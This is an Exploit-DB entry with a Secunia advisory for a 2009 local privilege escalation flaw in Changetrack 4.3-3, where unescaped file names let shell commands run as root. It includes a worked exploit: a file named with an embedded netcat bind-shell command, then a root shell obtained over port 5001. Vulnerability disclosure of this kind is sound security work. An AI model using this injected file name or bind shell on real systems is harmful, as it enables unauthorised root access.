Changetrack 4.3-3 - Local Privilege Escalation Vulnerability

2009-09-17T00:00:00
ID EDB-ID:9709
Type exploitdb
Reporter Rick
Modified 2009-09-17T00:00:00

Description

Changetrack 4.3-3 Local Privilege Escalation Vulnerability. CVE-2009-3233. Local exploit for linux platform

                                        
                                            TITLE:
Changetrack Privilege Escalation Vulnerability

SECUNIA ADVISORY ID:
SA36756

VERIFY ADVISORY:
http://secunia.com/advisories/36756/

DESCRIPTION:
A vulnerability has been discovered in Changetrack, which can be
exploited by malicious, local users to gain escalated privileges.

The application does not properly escape certain file names, which
can be exploited to inject and execute arbitrary shell commands
(potentially with "root" privileges) by creating a maliciously named
file in a directory tracked by Changetrack.

Successful exploitation requires write privileges to a directory
scanned by Changetrack.

SOLUTION:
Use Changetrack to track trusted directories only.

PROVIDED AND/OR DISCOVERED BY:
Marek Grzybowski


--------------------------------------------------------------------------------
Example of exploitation:

------------ Attacker ----------

rick@testmachine:~/testt$ touch "<\`nc -l -p 5001 -e \$SHELL\`"
rick@testmachine:~/testt$ ls
<`nc -l -p 5001 -e $SHELL`

--------------------------------


------------ root --------------

testmachine:~# changetrack 

------------ root --------------



------------ Attacker ----------

rick@testmachine:~/testt$ nc 127.0.0.1 5001
id
uid=0(root) gid=0(root) groups=0(root)

--------------------------------

# milw0rm.com [2009-09-17]